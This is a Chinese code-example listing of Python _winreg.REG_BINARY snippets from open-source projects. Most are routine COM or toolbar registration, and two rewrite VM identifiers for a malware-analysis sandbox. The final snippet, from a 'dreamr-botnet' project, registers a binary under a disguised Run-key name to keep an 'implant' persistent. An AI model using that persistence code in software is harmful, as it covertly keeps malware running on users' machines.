Python _winreg 模块,REG_BINARY 实例源码

我们从Python开源项目中,提取了以下11个代码示例,用于说明如何使用_winreg.REG_BINARY

项目:Email_My_PC    作者:Jackeriss    | 项目源码 | 文件源码
def DllRegisterServer():
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolderRoot._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolderRoot._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolderRoot._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    print ShellFolderRoot._reg_desc_, "registration complete."
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def DllRegisterServer():
    import _winreg
    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolderRoot._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolderRoot._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolderRoot._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    print ShellFolderRoot._reg_desc_, "registration complete."
项目:maestro    作者:InWorldz    | 项目源码 | 文件源码
def __setitem__(self, item, value):
        item = str(item)
        pyvalue = type(value)
        if pyvalue is tuple and len(value)==2:
            valuetype = value[1]
            value = value[0]
        else:
            if pyvalue is dict or isinstance(value, RegistryDict):
                d = RegistryDict(self.keyhandle, item)
                d.clear()
                d.update(value)
                return
            if pyvalue is str:
                valuetype = _winreg.REG_SZ
            elif pyvalue is int:
                valuetype = _winreg.REG_DWORD
            else:
                valuetype = _winreg.REG_BINARY
                value = 'PyPickle' + cPickle.dumps(value)
        _winreg.SetValueEx(self.keyhandle, item, 0, valuetype, value)
项目:Email_My_PC    作者:Jackeriss    | 项目源码 | 文件源码
def DllRegisterServer():
    import _winreg
    if sys.getwindowsversion()[0] < 6:
        print "This sample only works on Vista"
        sys.exit(1)

    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolder._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolder._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolder._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    # register the context menu handler under the FolderViewSampleType type.
    keypath = "%s\\shellex\\ContextMenuHandlers\\%s" % (ContextMenu._context_menu_type_, ContextMenu._reg_desc_)
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, keypath)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ContextMenu._reg_clsid_)
    propsys.PSRegisterPropertySchema(get_schema_fname())
    print ShellFolder._reg_desc_, "registration complete."
项目:OSPTF    作者:xSploited    | 项目源码 | 文件源码
def DllRegisterServer():
    comclass = IEToolbar

    # register toolbar with IE
    try:
        print "Trying to register Toolbar.\n"
        hkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar" )
        subKey = _winreg.SetValueEx( hkey, comclass._reg_clsid_, 0, _winreg.REG_BINARY, "\0" )
    except WindowsError:
        print "Couldn't set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    else:
        print "Set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    # TODO: implement reg settings for standard toolbar button

# unregister plugin
项目:pupy    作者:ru-faraon    | 项目源码 | 文件源码
def DllRegisterServer():
    comclass = IEToolbar

    # register toolbar with IE
    try:
        print "Trying to register Toolbar.\n"
        hkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar" )
        subKey = _winreg.SetValueEx( hkey, comclass._reg_clsid_, 0, _winreg.REG_BINARY, "\0" )
    except WindowsError:
        print "Couldn't set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    else:
        print "Set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    # TODO: implement reg settings for standard toolbar button

# unregister plugin
项目:cuckoo-headless    作者:evandowning    | 项目源码 | 文件源码
def patch_acpi(self):
        # TODO This should be improved, but for now may suffice.
        keywords = {
            "VBOX": "LNVO",
            "vbox": "lnvo",
            "VirtualBox": "LENOVOTP",
            "innotek GmbH": "",
        }

        regkeys = [
            ["SYSTEM\\CurrentControlSet\\Services\\mssmbios\\Data", "AcpiData"],
            ["SYSTEM\\ControlSet001\\Services\\mssmbios\\Data", "AcpiData"],

            ["SYSTEM\\CurrentControlSet\\Services\\mssmbios\\Data", "SMBiosData"],
            ["SYSTEM\\ControlSet001\\Services\\mssmbios\\Data", "SMBiosData"],
        ]

        for regkey, key in regkeys:
            value = query_value(HKEY_LOCAL_MACHINE, regkey, key)
            if value is None:
                continue

            for k, v in keywords.items():
                value = value.replace(k, v)

            set_regkey(HKEY_LOCAL_MACHINE, regkey, key, REG_BINARY, value)

        if regkey_exists(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__"):
            rename_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", "LENOVO")
            rename_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__", "LENOVO")
            rename_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\RSDT\\VBOX__", "LENOVO")
项目:cuckoodroid-2.0    作者:idanr1986    | 项目源码 | 文件源码
def patch_acpi(self):
        # TODO This should be improved, but for now may suffice.
        keywords = {
            "VBOX": "LNVO",
            "vbox": "lnvo",
            "VirtualBox": "LENOVOTP",
            "innotek GmbH": "",
        }

        regkeys = [
            ["SYSTEM\\CurrentControlSet\\Services\\mssmbios\\Data", "AcpiData"],
            ["SYSTEM\\ControlSet001\\Services\\mssmbios\\Data", "AcpiData"],

            ["SYSTEM\\CurrentControlSet\\Services\\mssmbios\\Data", "SMBiosData"],
            ["SYSTEM\\ControlSet001\\Services\\mssmbios\\Data", "SMBiosData"],
        ]

        for regkey, key in regkeys:
            value = query_value(HKEY_LOCAL_MACHINE, regkey, key)
            if value is None:
                continue

            for k, v in keywords.items():
                value = value.replace(k, v)

            set_regkey(HKEY_LOCAL_MACHINE, regkey, key, REG_BINARY, value)

        if regkey_exists(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__"):
            rename_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", "LENOVO")
            rename_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__", "LENOVO")
            rename_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\RSDT\\VBOX__", "LENOVO")
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def DllRegisterServer():
    import _winreg
    if sys.getwindowsversion()[0] < 6:
        print "This sample only works on Vista"
        sys.exit(1)

    key = _winreg.CreateKey(_winreg.HKEY_LOCAL_MACHINE,
                            "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" \
                            "Explorer\\Desktop\\Namespace\\" + \
                            ShellFolder._reg_clsid_)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ShellFolder._reg_desc_)
    # And special shell keys under our CLSID
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT,
                        "CLSID\\" + ShellFolder._reg_clsid_ + "\\ShellFolder")
    # 'Attributes' is an int stored as a binary! use struct
    attr = shellcon.SFGAO_FOLDER | shellcon.SFGAO_HASSUBFOLDER | \
           shellcon.SFGAO_BROWSABLE
    import struct
    s = struct.pack("i", attr)
    _winreg.SetValueEx(key, "Attributes", 0, _winreg.REG_BINARY, s)
    # register the context menu handler under the FolderViewSampleType type.
    keypath = "%s\\shellex\\ContextMenuHandlers\\%s" % (ContextMenu._context_menu_type_, ContextMenu._reg_desc_)
    key = _winreg.CreateKey(_winreg.HKEY_CLASSES_ROOT, keypath)
    _winreg.SetValueEx(key, None, 0, _winreg.REG_SZ, ContextMenu._reg_clsid_)
    propsys.PSRegisterPropertySchema(get_schema_fname())
    print ShellFolder._reg_desc_, "registration complete."
项目:remoteControlPPT    作者:htwenning    | 项目源码 | 文件源码
def DllRegisterServer():
    comclass = IEToolbar

    # register toolbar with IE
    try:
        print "Trying to register Toolbar.\n"
        hkey = _winreg.CreateKey( _winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer\\Toolbar" )
        subKey = _winreg.SetValueEx( hkey, comclass._reg_clsid_, 0, _winreg.REG_BINARY, "\0" )
    except WindowsError:
        print "Couldn't set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    else:
        print "Set registry value.\nhkey: %d\tCLSID: %s\n" % ( hkey, comclass._reg_clsid_ )
    # TODO: implement reg settings for standard toolbar button

# unregister plugin
项目:dreamr-botnet    作者:YinAndYangSecurityAwareness    | 项目源码 | 文件源码
def __init__(self):
        threading.Thread.__init__(self)
        try:
            with _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", _winreg.KEY_SET_VALUE) as reg:
                _winreg.SetValueEx(reg, "Networking Service", 0, _winreg.REG_BINARY, BinaryLocation)
                reg.Close()
        except:
            pass

    # Do things over and over to keep the implant protected